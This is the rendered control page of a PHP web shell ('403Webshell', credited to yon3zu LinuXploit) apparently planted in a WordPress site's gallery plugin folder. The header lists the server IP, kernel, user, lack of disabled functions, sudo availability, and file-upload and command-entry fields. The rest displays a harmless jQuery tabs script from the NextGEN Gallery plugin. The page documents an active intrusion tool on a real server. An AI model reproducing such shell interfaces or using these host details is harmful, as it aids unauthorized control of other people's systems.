403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.190
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/rhodeworks/wp-content/plugins/nextgen-gallery/static/AttachToPost/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/rhodeworks/wp-content/plugins/nextgen-gallery/static/AttachToPost/ngg_tabs.js
jQuery(function($) {

	// Creates a Firefox-friendly wrapper around jQuery Tabs
	$.fn.ngg_tabs = function(options) {

		// Create jQuery tabs
		this.tabs(options);

		// Change from display:none to visbibility:hidden
		var i = 0;
		this.find('.main_menu_tab').each(function() {
			if (i === 0) {
				$.fn.ngg_tabs.show_tab(this, options.onShowTab);
			} else {
				$.fn.ngg_tabs.hide_tab(this, options.onHideTab);
            }
			i++;
		});

		// When the selected tab changes, then we need to re-adjust
		this.on('tabsactivate', function(event, ui) {
			// Ensure that all tabs are still displayed, but hidden ;)
			$.fn.ngg_tabs.hide_tab($.fn.ngg_tabs.get_tab_by_li(ui.oldTab), options.onHideTab);
			$.fn.ngg_tabs.show_tab($.fn.ngg_tabs.get_tab_by_li(ui.newTab), options.onShowTab);
		});
	};

	$.fn.ngg_tabs.hide_tab = function(tab, cb) {
		setTimeout(function() {
            $(tab).css({
				display: 'block',
                'z-index': -10,
                visibility:	'hidden',
				opacity: 0
            }).addClass('ngg-tab-inactive').removeClass('ngg-tab-active').trigger('tab-hidden');

            if (cb) cb(tab)
		}, 0);
	};

	$.fn.ngg_tabs.show_tab = function(tab, cb){
		tab = $(tab);

        setTimeout(function() {
        	var iframe = tab.find('iframe')[0];
            if (typeof iframe !== 'undefined'
			&&  typeof iframe.contentWindow !== 'undefined') {
                adjust_height_for_frame(top, iframe.contentWindow);
			}
        }, 50);

        setTimeout(function() {
            tab.css({
                'z-index': 1,
				visibility: 'visible',
				opacity: 1
            }).addClass('ngg-tab-active').removeClass('ngg-tab-inactive').trigger('tab-visible');

            if (cb) cb(tab)
		}, 50);

        if (cb) cb(tab)
	};

	$.fn.ngg_tabs.get_tab_by_li = function(list_item) {
		return list_item.parents('div')
			            .find('.main_menu_tab[aria-labelledby="' + list_item.attr('aria-labelledby') + '"]');
	}

});

Youez - 2016 - github.com/yon3zu
LinuXploit